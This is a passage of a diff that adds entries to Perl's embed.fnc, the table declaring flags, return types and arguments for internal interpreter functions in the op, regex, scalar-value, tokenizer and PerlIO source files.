+s |OP* |scalarboolean |NN OP *o
+sR |OP* |search_const |NN OP *o
+sR |OP* |new_logop |I32 type|I32 flags|NN OP **firstp|NN OP **otherp
+s |void |simplify_sort |NN OP *o
+sRn |bool |scalar_mod_type|NULLOK const OP *o|I32 type
+s |OP * |my_kid |NULLOK OP *o|NULLOK OP *attrs|NN OP **imopsp
+s |OP * |dup_attrlist |NN OP *o
+s |void |apply_attrs |NN HV *stash|NN SV *target|NULLOK OP *attrs
+s |void |apply_attrs_my |NN HV *stash|NN OP *target|NULLOK OP *attrs|NN OP **imopsp
+s |void |bad_type_pv |I32 n|NN const char *t|NN const OP *o|NN const OP *kid
+s |void |bad_type_gv |I32 n|NN GV *gv|NN const OP *kid|NN const char *t
+s |void |no_bareword_allowed|NN OP *o
+sR |OP* |no_fh_allowed|NN OP *o
+sR |OP* |too_few_arguments_pv|NN OP *o|NN const char* name|U32 flags
+s |OP* |too_many_arguments_pv|NN OP *o|NN const char* name|U32 flags
+s |bool |looks_like_bool|NN const OP* o
+s |OP* |newGIVWHENOP |NULLOK OP* cond|NN OP *block \
+ |I32 enter_opcode|I32 leave_opcode \
+ |PADOFFSET entertarg
+s |OP* |ref_array_or_hash|NULLOK OP* cond
+s |bool |process_special_blocks |I32 floor \
+ |NN const char *const fullname\
+ |NN GV *const gv|NN CV *const cv
+s |void |clear_special_blocks |NN const char *const fullname\
+ |NN GV *const gv|NN CV *const cv
+#endif
+Xpa |void* |Slab_Alloc |size_t sz
+Xp |void |Slab_Free |NN void *op
+#if defined(PERL_DEBUG_READONLY_OPS)
+# if defined(PERL_CORE)
+px |void |Slab_to_ro |NN OPSLAB *slab
+px |void |Slab_to_rw |NN OPSLAB *const slab
+# endif
+: Used in OpREFCNT_inc() in sv.c
+poxM |OP * |op_refcnt_inc |NULLOK OP *o
+: FIXME - can be static.
+poxM |PADOFFSET |op_refcnt_dec |NN OP *o
+#endif
+
+#if defined(PERL_IN_PERL_C)
+s |void |find_beginning |NN SV* linestr_sv|NN PerlIO *rsfp
+s |void |forbid_setid |const char flag|const bool suidscript
+s |void |incpush |NN const char *const dir|STRLEN len \
+ |U32 flags
+s |SV* |mayberelocate |NN const char *const dir|STRLEN len \
+ |U32 flags
+s |void |incpush_use_sep|NN const char *p|STRLEN len|U32 flags
+s |void |init_interp
+s |void |init_ids
+s |void |init_main_stash
+s |void |init_perllib
+s |void |init_postdump_symbols|int argc|NN char **argv|NULLOK char **env
+s |void |init_predump_symbols
+rs |void |my_exit_jump
+s |void |nuke_stacks
+s |PerlIO *|open_script |NN const char *scriptname|bool dosearch \
+ |NN bool *suidscript
+sr |void |usage
+#ifndef SETUID_SCRIPTS_ARE_SECURE_NOW
+so |void |validate_suid |NN PerlIO *rsfp
+#endif
+sr |void |minus_v
+
+s |void* |parse_body |NULLOK char **env|XSINIT_t xsinit
+rs |void |run_body |I32 oldscope
+# ifndef PERL_IS_MINIPERL
+s |SV * |incpush_if_exists|NN AV *const av|NN SV *dir|NN SV *const stem
+# endif
+#endif
+
+#if defined(PERL_IN_PP_C)
+s |size_t |do_chomp |NN SV *retval|NN SV *sv|bool chomping
+s |OP* |do_delete_local
+sR |SV* |refto |NN SV* sv
+#endif
+#if defined(PERL_IN_PP_C) || defined(PERL_IN_PP_HOT_C)
+: Used in pp_hot.c
+pRxo |GV* |softref2xv |NN SV *const sv|NN const char *const what \
+ |const svtype type|NN SV ***spp
+#endif
+
+#if defined(PERL_IN_PP_PACK_C)
+s |I32 |unpack_rec |NN struct tempsym* symptr|NN const char *s \
+ |NN const char *strbeg|NN const char *strend|NULLOK const char **new_s
+s |SV ** |pack_rec |NN SV *cat|NN struct tempsym* symptr|NN SV **beglist|NN SV **endlist
+s |SV* |mul128 |NN SV *sv|U8 m
+s |I32 |measure_struct |NN struct tempsym* symptr
+s |bool |next_symbol |NN struct tempsym* symptr
+sR |SV* |is_an_int |NN const char *s|STRLEN l
+s |int |div128 |NN SV *pnum|NN bool *done
+s |const char *|group_end |NN const char *patptr|NN const char *patend \
+ |char ender
+sR |const char *|get_num |NN const char *patptr|NN I32 *lenptr
+ns |bool |need_utf8 |NN const char *pat|NN const char *patend
+ns |char |first_symbol |NN const char *pat|NN const char *patend
+sR |char * |sv_exp_grow |NN SV *sv|STRLEN needed
+snR |char * |my_bytes_to_utf8|NN const U8 *start|STRLEN len|NN char *dest \
+ |const bool needs_swap
+#endif
+
+#if defined(PERL_IN_PP_CTL_C)
+sR |OP* |docatch |NULLOK OP *o
+sR |OP* |dofindlabel |NN OP *o|NN const char *label|STRLEN len \
+ |U32 flags|NN OP **opstack|NN OP **oplimit
+s |MAGIC *|doparseform |NN SV *sv
+snR |bool |num_overflow |NV value|I32 fldsize|I32 frcsize
+sR |I32 |dopoptoeval |I32 startingblock
+sR |I32 |dopoptogivenfor|I32 startingblock
+sR |I32 |dopoptolabel |NN const char *label|STRLEN len|U32 flags
+sR |I32 |dopoptoloop |I32 startingblock
+sR |I32 |dopoptosub_at |NN const PERL_CONTEXT* cxstk|I32 startingblock
+sR |I32 |dopoptowhen |I32 startingblock
+s |void |save_lines |NULLOK AV *array|NN SV *sv
+s |bool |doeval_compile |U8 gimme \
+ |NULLOK CV* outside|U32 seq|NULLOK HV* hh
+sR |PerlIO *|check_type_and_open|NN SV *name
+#ifndef PERL_DISABLE_PMC
+sR |PerlIO *|doopen_pm |NN SV *name
+#endif
+iRn |bool |path_is_searchable|NN const char *name
+sR |I32 |run_user_filter|int idx|NN SV *buf_sv|int maxlen
+sR |PMOP* |make_matcher |NN REGEXP* re
+sR |bool |matcher_matches_sv|NN PMOP* matcher|NN SV* sv
+s |void |destroy_matcher|NN PMOP* matcher
+s |OP* |do_smartmatch |NULLOK HV* seen_this \
+ |NULLOK HV* seen_other|const bool copied
+#endif
+
+#if defined(PERL_IN_PP_HOT_C)
+s |void |do_oddball |NN SV **oddkey|NN SV **firstkey
+i |HV* |opmethod_stash |NN SV* meth
+#endif
+
+#if defined(PERL_IN_PP_SORT_C)
+s |I32 |sv_ncmp |NN SV *const a|NN SV *const b
+s |I32 |sv_i_ncmp |NN SV *const a|NN SV *const b
+s |I32 |amagic_ncmp |NN SV *const a|NN SV *const b
+s |I32 |amagic_i_ncmp |NN SV *const a|NN SV *const b
+s |I32 |amagic_cmp |NN SV *const str1|NN SV *const str2
+# ifdef USE_LOCALE_COLLATE
+s |I32 |amagic_cmp_locale|NN SV *const str1|NN SV *const str2
+# endif
+s |I32 |sortcv |NN SV *const a|NN SV *const b
+s |I32 |sortcv_xsub |NN SV *const a|NN SV *const b
+s |I32 |sortcv_stacked |NN SV *const a|NN SV *const b
+s |void |qsortsvu |NULLOK SV** array|size_t num_elts|NN SVCOMPARE_t compare
+#endif
+
+#if defined(PERL_IN_PP_SYS_C)
+s |OP* |doform |NN CV *cv|NN GV *gv|NULLOK OP *retop
+# if !defined(HAS_MKDIR) || !defined(HAS_RMDIR)
+sR |int |dooneliner |NN const char *cmd|NN const char *filename
+# endif
+s |SV * |space_join_names_mortal|NN char *const *array
+#endif
+p |OP * |tied_method|NN SV *methname|NN SV **sp \
+ |NN SV *const sv|NN const MAGIC *const mg \
+ |const U32 flags|U32 argc|...
+
+#if defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_REGEXEC_C)
+Ep |void |regprop |NULLOK const regexp *prog|NN SV* sv|NN const regnode* o|NULLOK const regmatch_info *reginfo \
+ |NULLOK const RExC_state_t *pRExC_state
+Ep |int |re_printf |NN const char *fmt|...
+#endif
+#if defined(PERL_IN_REGCOMP_C)
+Es |regnode*|reg |NN RExC_state_t *pRExC_state \
+ |I32 paren|NN I32 *flagp|U32 depth
+Es |regnode*|regnode_guts |NN RExC_state_t *pRExC_state \
+ |const U8 op \
+ |const STRLEN extra_len \
+ |NN const char* const name
+Es |regnode*|reganode |NN RExC_state_t *pRExC_state|U8 op \
+ |U32 arg
+Es |regnode*|reg2Lanode |NN RExC_state_t *pRExC_state \
+ |const U8 op \
+ |const U32 arg1 \
+ |const I32 arg2
+Es |regnode*|regatom |NN RExC_state_t *pRExC_state \
+ |NN I32 *flagp|U32 depth
+Es |regnode*|regbranch |NN RExC_state_t *pRExC_state \
+ |NN I32 *flagp|I32 first|U32 depth
+Es |void |set_ANYOF_arg |NN RExC_state_t* const pRExC_state \
+ |NN regnode* const node \
+ |NULLOK SV* const cp_list \
+ |NULLOK SV* const runtime_defns \
+ |NULLOK SV* const only_utf8_locale_list \
+ |NULLOK SV* const swash \
+ |const bool has_user_defined_property
+Es |void |output_or_return_posix_warnings \
+ |NN RExC_state_t *pRExC_state \
+ |NN AV* posix_warnings \
+ |NULLOK AV** return_posix_warnings
+Es |AV* |add_multi_match|NULLOK AV* multi_char_matches \
+ |NN SV* multi_string \
+ |const STRLEN cp_count
+Es |regnode*|regclass |NN RExC_state_t *pRExC_state \
+ |NN I32 *flagp|U32 depth|const bool stop_at_1 \
+ |bool allow_multi_fold \
+ |const bool silence_non_portable \
+ |const bool strict \
+ |bool optimizable \
+ |NULLOK SV** ret_invlist \
+ |NULLOK AV** return_posix_warnings
+Es |void|add_above_Latin1_folds|NN RExC_state_t *pRExC_state|const U8 cp \
+ |NN SV** invlist
+Ei |regnode*|handle_named_backref|NN RExC_state_t *pRExC_state \
+ |NN I32 *flagp \
+ |NN char * parse_start \
+ |char ch
+EsnP |unsigned int|regex_set_precedence|const U8 my_operator
+Es |regnode*|handle_regex_sets|NN RExC_state_t *pRExC_state \
+ |NULLOK SV ** return_invlist \
+ |NN I32 *flagp|U32 depth \
+ |NN char * const oregcomp_parse
+Es |void|parse_lparen_question_flags|NN RExC_state_t *pRExC_state
+Es |regnode*|reg_node |NN RExC_state_t *pRExC_state|U8 op
+Es |UV |reg_recode |const U8 value|NN SV **encp
+Es |regnode*|regpiece |NN RExC_state_t *pRExC_state \
+ |NN I32 *flagp|U32 depth
+Es |bool |grok_bslash_N |NN RExC_state_t *pRExC_state \
+ |NULLOK regnode** nodep \
+ |NULLOK UV *code_point_p \
+ |NULLOK int* cp_count \
+ |NN I32 *flagp \
+ |const bool strict \
+ |const U32 depth
+Es |void |reginsert |NN RExC_state_t *pRExC_state \
+ |U8 op|NN regnode *opnd|U32 depth
+Es |void |regtail |NN RExC_state_t * pRExC_state \
+ |NN const regnode * const p \
+ |NN const regnode * const val \
+ |const U32 depth
+Es |SV * |reg_scan_name |NN RExC_state_t *pRExC_state \
+ |U32 flags
+Es |U32 |join_exact |NN RExC_state_t *pRExC_state \
+ |NN regnode *scan|NN UV *min_subtract \
+ |NN bool *unfolded_multi_char \
+ |U32 flags|NULLOK regnode *val|U32 depth
+Ei |void |alloc_maybe_populate_EXACT|NN RExC_state_t *pRExC_state \
+ |NN regnode *node|NN I32 *flagp|STRLEN len \
+ |UV code_point|bool downgradable
+Ein |U8 |compute_EXACTish|NN RExC_state_t *pRExC_state
+Es |void |nextchar |NN RExC_state_t *pRExC_state
+Es |void |skip_to_be_ignored_text|NN RExC_state_t *pRExC_state \
+ |NN char ** p \
+ |const bool force_to_xmod
+Ein |char * |reg_skipcomment|NN RExC_state_t *pRExC_state|NN char * p
+Es |void |scan_commit |NN const RExC_state_t *pRExC_state \
+ |NN struct scan_data_t *data \
+ |NN SSize_t *minlenp \
+ |int is_inf
+Es |void |populate_ANYOF_from_invlist|NN regnode *node|NN SV** invlist_ptr
+Es |void |ssc_anything |NN regnode_ssc *ssc
+EsRn |int |ssc_is_anything|NN const regnode_ssc *ssc
+Es |void |ssc_init |NN const RExC_state_t *pRExC_state \
+ |NN regnode_ssc *ssc
+EsRn |int |ssc_is_cp_posixl_init|NN const RExC_state_t *pRExC_state \
+ |NN const regnode_ssc *ssc
+Es |void |ssc_and |NN const RExC_state_t *pRExC_state \
+ |NN regnode_ssc *ssc \
+ |NN const regnode_charclass *and_with
+Es |void |ssc_or |NN const RExC_state_t *pRExC_state \
+ |NN regnode_ssc *ssc \
+ |NN const regnode_charclass *or_with
+Es |SV* |get_ANYOF_cp_list_for_ssc \
+ |NN const RExC_state_t *pRExC_state \
+ |NN const regnode_charclass* const node
+Ei |void |ssc_intersection|NN regnode_ssc *ssc \
+ |NN SV* const invlist|const bool invert_2nd
+Ei |void |ssc_union |NN regnode_ssc *ssc \
+ |NN SV* const invlist|const bool invert_2nd
+Ei |void |ssc_add_range |NN regnode_ssc *ssc \
+ |UV const start|UV const end
+Ei |void |ssc_cp_and |NN regnode_ssc *ssc \
+ |UV const cp
+Ein |void |ssc_clear_locale|NN regnode_ssc *ssc
+Ens |bool |is_ssc_worth_it|NN const RExC_state_t * pRExC_state \
+ |NN const regnode_ssc * ssc
+Es |void |ssc_finalize |NN RExC_state_t *pRExC_state \
+ |NN regnode_ssc *ssc
+Es |SSize_t|study_chunk |NN RExC_state_t *pRExC_state \
+ |NN regnode **scanp|NN SSize_t *minlenp \
+ |NN SSize_t *deltap|NN regnode *last \
+ |NULLOK struct scan_data_t *data \
+ |I32 stopparen|U32 recursed_depth \
+ |NULLOK regnode_ssc *and_withp \
+ |U32 flags|U32 depth
+EsRn |U32 |add_data |NN RExC_state_t* const pRExC_state \
+ |NN const char* const s|const U32 n
+rs |void |re_croak2 |bool utf8|NN const char* pat1|NN const char* pat2|...
+Es |int |handle_possible_posix \
+ |NN RExC_state_t *pRExC_state \
+ |NN const char* const s \
+ |NULLOK char ** updated_parse_ptr \
+ |NULLOK AV** posix_warnings \
+ |const bool check_only
+Es |I32 |make_trie |NN RExC_state_t *pRExC_state \
+ |NN regnode *startbranch|NN regnode *first \
+ |NN regnode *last|NN regnode *tail \
+ |U32 word_count|U32 flags|U32 depth
+Es |regnode *|construct_ahocorasick_from_trie|NN RExC_state_t *pRExC_state \
+ |NN regnode *source|U32 depth
+EnPs |const char *|cntrl_to_mnemonic|const U8 c
+EnPs |int |edit_distance |NN const UV *src \
+ |NN const UV *tgt \
+ |const STRLEN x \
+ |const STRLEN y \
+ |const SSize_t maxDistance
+# ifdef DEBUGGING
+Ep |int |re_indentf |NN const char *fmt|U32 depth|...
+Es |void |regdump_intflags|NULLOK const char *lead| const U32 flags
+Es |void |regdump_extflags|NULLOK const char *lead| const U32 flags
+Es |const regnode*|dumpuntil|NN const regexp *r|NN const regnode *start \
+ |NN const regnode *node \
+ |NULLOK const regnode *last \
+ |NULLOK const regnode *plast \
+ |NN SV* sv|I32 indent|U32 depth
+Es |void |put_code_point |NN SV* sv|UV c
+Es |bool |put_charclass_bitmap_innards|NN SV* sv \
+ |NN char* bitmap \
+ |NULLOK SV* nonbitmap_invlist \
+ |NULLOK SV* only_utf8_locale_invlist\
+ |NULLOK const regnode * const node
+Es |SV* |put_charclass_bitmap_innards_common \
+ |NN SV* invlist \
+ |NULLOK SV* posixes \
+ |NULLOK SV* only_utf8 \
+ |NULLOK SV* not_utf8 \
+ |NULLOK SV* only_utf8_locale \
+ |const bool invert
+Es |void |put_charclass_bitmap_innards_invlist \
+ |NN SV *sv \
+ |NN SV* invlist
+Es |void |put_range |NN SV* sv|UV start|const UV end \
+ |const bool allow_literals
+Es |void |dump_trie |NN const struct _reg_trie_data *trie\
+ |NULLOK HV* widecharmap|NN AV *revcharmap\
+ |U32 depth
+Es |void |dump_trie_interim_list|NN const struct _reg_trie_data *trie\
+ |NULLOK HV* widecharmap|NN AV *revcharmap\
+ |U32 next_alloc|U32 depth
+Es |void |dump_trie_interim_table|NN const struct _reg_trie_data *trie\
+ |NULLOK HV* widecharmap|NN AV *revcharmap\
+ |U32 next_alloc|U32 depth
+Es |U8 |regtail_study |NN RExC_state_t *pRExC_state \
+ |NN regnode *p|NN const regnode *val|U32 depth
+# endif
+#endif
+
+#if defined(PERL_IN_REGEXEC_C)
+ERs |bool |isFOO_lc |const U8 classnum|const U8 character
+ERs |bool |isFOO_utf8_lc |const U8 classnum|NN const U8* character
+ERs |SSize_t|regmatch |NN regmatch_info *reginfo|NN char *startpos|NN regnode *prog
+ERs |I32 |regrepeat |NN regexp *prog|NN char **startposp \
+ |NN const regnode *p \
+ |NN regmatch_info *const reginfo \
+ |I32 max \
+ |int depth
+ERs |bool |regtry |NN regmatch_info *reginfo|NN char **startposp
+ERs |bool |reginclass |NULLOK regexp * const prog \
+ |NN const regnode * const n \
+ |NN const U8 * const p \
+ |NN const U8 * const p_end \
+ |bool const utf8_target
+Es |CHECKPOINT|regcppush |NN const regexp *rex|I32 parenfloor\
+ |U32 maxopenparen
+Es |void |regcppop |NN regexp *rex\
+ |NN U32 *maxopenparen_p
+ERsn |U8* |reghop3 |NN U8 *s|SSize_t off|NN const U8 *lim
+ERsn |U8* |reghop4 |NN U8 *s|SSize_t off|NN const U8 *llim \
+ |NN const U8 *rlim
+ERsn |U8* |reghopmaybe3 |NN U8 *s|SSize_t off|NN const U8 *lim
+ERs |char* |find_byclass |NN regexp * prog|NN const regnode *c \
+ |NN char *s|NN const char *strend \
+ |NULLOK regmatch_info *reginfo
+Es |void |to_utf8_substr |NN regexp * prog
+Es |bool |to_byte_substr |NN regexp * prog
+ERsn |I32 |reg_check_named_buff_matched |NN const regexp *rex \
+ |NN const regnode *scan
+EinR |bool |isGCB |const GCB_enum before|const GCB_enum after
+EsR |bool |isLB |LB_enum before \
+ |LB_enum after \
+ |NN const U8 * const strbeg \
+ |NN const U8 * const curpos \
+ |NN const U8 * const strend \
+ |const bool utf8_target
+EsR |LB_enum|advance_one_LB |NN U8 ** curpos \
+ |NN const U8 * const strend \
+ |const bool utf8_target
+EsR |LB_enum|backup_one_LB |NN const U8 * const strbeg \
+ |NN U8 ** curpos \
+ |const bool utf8_target
+EsR |bool |isSB |SB_enum before \
+ |SB_enum after \
+ |NN const U8 * const strbeg \
+ |NN const U8 * const curpos \
+ |NN const U8 * const strend \
+ |const bool utf8_target
+EsR |SB_enum|advance_one_SB |NN U8 ** curpos \
+ |NN const U8 * const strend \
+ |const bool utf8_target
+EsR |SB_enum|backup_one_SB |NN const U8 * const strbeg \
+ |NN U8 ** curpos \
+ |const bool utf8_target
+EsR |bool |isWB |WB_enum previous \
+ |WB_enum before \
+ |WB_enum after \
+ |NN const U8 * const strbeg \
+ |NN const U8 * const curpos \
+ |NN const U8 * const strend \
+ |const bool utf8_target
+EsR |WB_enum|advance_one_WB |NN U8 ** curpos \
+ |NN const U8 * const strend \
+ |const bool utf8_target \
+ |const bool skip_Extend_Format
+EsR |WB_enum|backup_one_WB |NN WB_enum * previous \
+ |NN const U8 * const strbeg \
+ |NN U8 ** curpos \
+ |const bool utf8_target
+# ifdef DEBUGGING
+Es |void |dump_exec_pos |NN const char *locinput|NN const regnode *scan|NN const char *loc_regeol\
+ |NN const char *loc_bostr|NN const char *loc_reg_starttry|const bool do_utf8|const U32 depth
+Es |void |debug_start_match|NN const REGEXP *prog|const bool do_utf8\
+ |NN const char *start|NN const char *end\
+ |NN const char *blurb
+
+Ep |int |re_exec_indentf |NN const char *fmt|U32 depth|...
+# endif
+#endif
+
+#if defined(PERL_IN_DUMP_C)
+s |CV* |deb_curcv |I32 ix
+s |void |debprof |NN const OP *o
+s |UV |sequence_num |NULLOK const OP *o
+s |SV* |pm_description |NN const PMOP *pm
+#endif
+
+#if defined(PERL_IN_SCOPE_C)
+s |SV* |save_scalar_at |NN SV **sptr|const U32 flags
+#endif
+
+#if defined(PERL_IN_GV_C) || defined(PERL_IN_SV_C) || defined(PERL_IN_PAD_C) || defined(PERL_IN_OP_C)
+: Used in gv.c
+po |void |sv_add_backref |NN SV *const tsv|NN SV *const sv
+#endif
+
+#if defined(PERL_IN_HV_C) || defined(PERL_IN_MG_C) || defined(PERL_IN_SV_C)
+: Used in hv.c and mg.c
+poM |void |sv_kill_backrefs |NN SV *const sv|NULLOK AV *const av
+#endif
+
+#if defined(PERL_IN_SV_C) || defined (PERL_IN_OP_C)
+pR |SV * |varname |NULLOK const GV *const gv|const char gvtype \
+ |PADOFFSET targ|NULLOK const SV *const keyname \
+ |I32 aindex|int subscript_type
+#endif
+
+pX |void |sv_del_backref |NN SV *const tsv|NN SV *const sv
+#if defined(PERL_IN_SV_C)
+nsR |char * |uiv_2buf |NN char *const buf|const IV iv|UV uv|const int is_uv|NN char **const peob
+i |void |sv_unglob |NN SV *const sv|U32 flags
+s |const char *|sv_display |NN SV *const sv|NN char *tmpbuf|STRLEN tmpbuf_size
+s |void |not_a_number |NN SV *const sv
+s |void |not_incrementable |NN SV *const sv
+s |I32 |visit |NN SVFUNC_t f|const U32 flags|const U32 mask
+# ifdef DEBUGGING
+s |void |del_sv |NN SV *p
+# endif
+# if !defined(NV_PRESERVES_UV)
+# ifdef DEBUGGING
+s |int |sv_2iuv_non_preserve |NN SV *const sv|I32 numtype
+# else
+s |int |sv_2iuv_non_preserve |NN SV *const sv
+# endif
+# endif
+sR |I32 |expect_number |NN char **const pattern
+sn |STRLEN |sv_pos_u2b_forwards|NN const U8 *const start \
+ |NN const U8 *const send|NN STRLEN *const uoffset \
+ |NN bool *const at_end
+sn |STRLEN |sv_pos_u2b_midway|NN const U8 *const start \
+ |NN const U8 *send|STRLEN uoffset|const STRLEN uend
+s |STRLEN |sv_pos_u2b_cached|NN SV *const sv|NN MAGIC **const mgp \
+ |NN const U8 *const start|NN const U8 *const send \
+ |STRLEN uoffset|STRLEN uoffset0|STRLEN boffset0
+s |void |utf8_mg_len_cache_update|NN SV *const sv|NN MAGIC **const mgp \
+ |const STRLEN ulen
+s |void |utf8_mg_pos_cache_update|NN SV *const sv|NN MAGIC **const mgp \
+ |const STRLEN byte|const STRLEN utf8|const STRLEN blen
+s |STRLEN |sv_pos_b2u_midway|NN const U8 *const s|NN const U8 *const target \
+ |NN const U8 *end|STRLEN endu
+s |void |assert_uft8_cache_coherent|NN const char *const func \
+ |STRLEN from_cache|STRLEN real|NN SV *const sv
+sn |char * |F0convert |NV nv|NN char *const endbuf|NN STRLEN *const len
+s |SV * |more_sv
+s |bool |sv_2iuv_common |NN SV *const sv
+s |void |glob_assign_glob|NN SV *const dstr|NN SV *const sstr \
+ |const int dtype
+sRn |PTR_TBL_ENT_t *|ptr_table_find|NN PTR_TBL_t *const tbl|NULLOK const void *const sv
+s |void |anonymise_cv_maybe |NN GV *gv|NN CV *cv
+#endif
+
+: Used in sv.c and hv.c
+po |void * |more_bodies |const svtype sv_type|const size_t body_size \
+ |const size_t arena_size
+
+#if defined(PERL_IN_TOKE_C)
+s |void |check_uni
+s |void |force_next |I32 type
+s |char* |force_version |NN char *s|int guessing
+s |char* |force_strict_version |NN char *s
+s |char* |force_word |NN char *start|int token|int check_keyword \
+ |int allow_pack
+s |SV* |tokeq |NN SV *sv
+sR |char* |scan_const |NN char *start
+iR |SV* |get_and_check_backslash_N_name|NN const char* s \
+ |NN const char* const e
+sR |char* |scan_formline |NN char *s
+sR |char* |scan_heredoc |NN char *s
+s |char* |scan_ident |NN char *s|NN char *dest \
+ |STRLEN destlen|I32 ck_uni
+sR |char* |scan_inputsymbol|NN char *start
+sR |char* |scan_pat |NN char *start|I32 type
+sR |char* |scan_str |NN char *start|int keep_quoted \
+ |int keep_delims|int re_reparse \
+ |NULLOK char **delimp
+sR |char* |scan_subst |NN char *start
+sR |char* |scan_trans |NN char *start
+s |char* |scan_word |NN char *s|NN char *dest|STRLEN destlen \
+ |int allow_package|NN STRLEN *slp
+s |void |update_debugger_info|NULLOK SV *orig_sv \
+ |NULLOK const char *const buf|STRLEN len
+sR |char* |skipspace_flags|NN char *s|U32 flags
+sR |char* |swallow_bom |NN U8 *s
+#ifndef PERL_NO_UTF16_FILTER
+s |I32 |utf16_textfilter|int idx|NN SV *sv|int maxlen
+s |U8* |add_utf16_textfilter|NN U8 *const s|bool reversed
+#endif
+s |void |checkcomma |NN const char *s|NN const char *name \
+ |NN const char *what
+s |void |force_ident |NN const char *s|int kind
+s |void |force_ident_maybe_lex|char pit
+s |void |incline |NN const char *s
+s |int |intuit_method |NN char *s|NULLOK SV *ioname|NULLOK CV *cv
+s |int |intuit_more |NN char *s
+s |I32 |lop |I32 f|int x|NN char *s
+rs |void |missingterm |NULLOK char *s
+s |void |no_op |NN const char *const what|NULLOK char *s
+s |int |pending_ident
+sR |I32 |sublex_done
+sR |I32 |sublex_push
+sR |I32 |sublex_start
+sR |char * |filter_gets |NN SV *sv|STRLEN append
+sR |HV * |find_in_my_stash|NN const char *pkgname|STRLEN len
+sR |char * |tokenize_use |int is_use|NN char *s
+so |SV* |new_constant |NULLOK const char *s|STRLEN len \
+ |NN const char *key|STRLEN keylen|NN SV *sv \
+ |NULLOK SV *pv|NULLOK const char *type \
+ |STRLEN typelen
+s |int |deprecate_commaless_var_list
+s |int |ao |int toketype
+s |void|parse_ident|NN char **s|NN char **d \
+ |NN char * const e|int allow_package \
+ |bool is_utf8
+# if defined(PERL_CR_FILTER)
+s |I32 |cr_textfilter |int idx|NULLOK SV *sv|int maxlen
+s |void |strip_return |NN SV *sv
+# endif
+# if defined(DEBUGGING)
+s |int |tokereport |I32 rv|NN const YYSTYPE* lvalp
+sf |void |printbuf |NN const char *const fmt|NN const char *const s
+# endif
+#endif
+EXMp |bool |validate_proto |NN SV *name|NULLOK SV *proto|bool warn
+
+#if defined(PERL_IN_UNIVERSAL_C)
+s |bool |isa_lookup |NN HV *stash|NN const char * const name \
+ |STRLEN len|U32 flags
+#endif
+
+#if defined(USE_LOCALE) && defined(PERL_IN_LOCALE_C)
+s |char* |stdize_locale |NN char* locs
+#endif
+
+#if defined(USE_LOCALE) \
+ && (defined(PERL_IN_LOCALE_C) || defined (PERL_EXT_POSIX))
+ApM |bool |_is_cur_LC_category_utf8|int category
+# ifdef DEBUGGING
+AMnPpR |char * |_setlocale_debug_string|const int category \
+ |NULLOK const char* const locale \
+ |NULLOK const char* const retval
+# endif
+#endif
+
+
+#if defined(PERL_IN_UTIL_C)
+s |SV* |mess_alloc
+s |SV * |with_queued_errors|NN SV *ex
+s |bool |invoke_exception_hook|NULLOK SV *ex|bool warn
+#if defined(PERL_MEM_LOG) && !defined(PERL_MEM_LOG_NOIMPL)
+sn |void |mem_log_common |enum mem_log_type mlt|const UV n|const UV typesize \
+ |NN const char *type_name|NULLOK const SV *sv \
+ |Malloc_t oldalloc|Malloc_t newalloc \
+ |NN const char *filename|const int linenumber \
+ |NN const char *funcname
+#endif
+#endif
+
+#if defined(PERL_MEM_LOG)
+pn |Malloc_t |mem_log_alloc |const UV nconst|UV typesize|NN const char *type_name|Malloc_t newalloc|NN const char *filename|const int linenumber|NN const char *funcname
+pn |Malloc_t |mem_log_realloc |const UV n|const UV typesize|NN const char *type_name|Malloc_t oldalloc|Malloc_t newalloc|NN const char *filename|const int linenumber|NN const char *funcname
+pn |Malloc_t |mem_log_free |Malloc_t oldalloc|NN const char *filename|const int linenumber|NN const char *funcname
+#endif
+
+#if defined(PERL_IN_NUMERIC_C)
+#ifndef USE_QUADMATH
+sn |NV|mulexp10 |NV value|I32 exponent
+#endif
+#endif
+
+#if defined(PERL_IN_UTF8_C)
+sRM |UV |check_locale_boundary_crossing \
+ |NN const U8* const p \
+ |const UV result \
+ |NN U8* const ustrp \
+ |NN STRLEN *lenp
+iR |bool |is_utf8_common |NN const U8 *const p|NN SV **swash|NN const char * const swashname|NULLOK SV* const invlist
+sR |SV* |swatch_get |NN SV* swash|UV start|UV span
+sRM |U8* |swash_scan_list_line|NN U8* l|NN U8* const lend|NN UV* min \
+ |NN UV* max|NN UV* val|const bool wants_value \
+ |NN const U8* const typestr
+#endif
+
+#ifndef PERL_NO_INLINE_FUNCTIONS
+AiMn |void |append_utf8_from_native_byte|const U8 byte|NN U8** dest
+#endif
+
+Apd |void |sv_setsv_flags |NN SV *dstr|NULLOK SV *sstr|const I32 flags
+Apd |void |sv_catpvn_flags|NN SV *const dstr|NN const char *sstr|const STRLEN len \
+ |const I32 flags
+Apd |void |sv_catpv_flags |NN SV *dstr|NN const char *sstr \
+ |const I32 flags
+Apd |void |sv_catsv_flags |NN SV *const dsv|NULLOK SV *const ssv|const I32 flags
+Apmd |STRLEN |sv_utf8_upgrade_flags|NN SV *const sv|const I32 flags
+Ap |STRLEN |sv_utf8_upgrade_flags_grow|NN SV *const sv|const I32 flags|STRLEN extra
+Apd |char* |sv_pvn_force_flags|NN SV *const sv|NULLOK STRLEN *const lp|const I32 flags
+pmb |void |sv_copypv |NN SV *const dsv|NN SV *const ssv
+Apmd |void |sv_copypv_nomg |NN SV *const dsv|NN SV *const ssv
+Apd |void |sv_copypv_flags |NN SV *const dsv|NN SV *const ssv|const I32 flags
+Ap |char* |my_atof2 |NN const char *s|NN NV* value
+Apn |int |my_socketpair |int family|int type|int protocol|int fd[2]
+Apn |int |my_dirfd |NULLOK DIR* dir
+#ifdef PERL_ANY_COW
+: Used in pp_hot.c and regexec.c
+pMXE |SV* |sv_setsv_cow |NULLOK SV* dstr|NN SV* sstr
+#endif
+
+Aop |const char *|PerlIO_context_layers|NULLOK const char *mode
+
+#if defined(USE_PERLIO)
+Ap |int |PerlIO_close |NULLOK PerlIO *f
+Ap |int |PerlIO_fill |NULLOK PerlIO *f
+Ap |int |PerlIO_fileno |NULLOK PerlIO *f
+Ap |int |PerlIO_eof |NULLOK PerlIO *f
+Ap |int |PerlIO_error |NULLOK PerlIO *f
+Ap |int |PerlIO_flush |NULLOK PerlIO *f
+Ap |void |PerlIO_clearerr |NULLOK PerlIO *f
+Ap |void |PerlIO_set_cnt |NULLOK PerlIO *f|SSize_t cnt
+Ap |void |PerlIO_set_ptrcnt |NULLOK PerlIO *f|NULLOK STDCHAR *ptr \
+ |SSize_t cnt
+Ap |void |PerlIO_setlinebuf |NULLOK PerlIO *f
+Ap |SSize_t|PerlIO_read |NULLOK PerlIO *f|NN void *vbuf \
+ |Size_t count
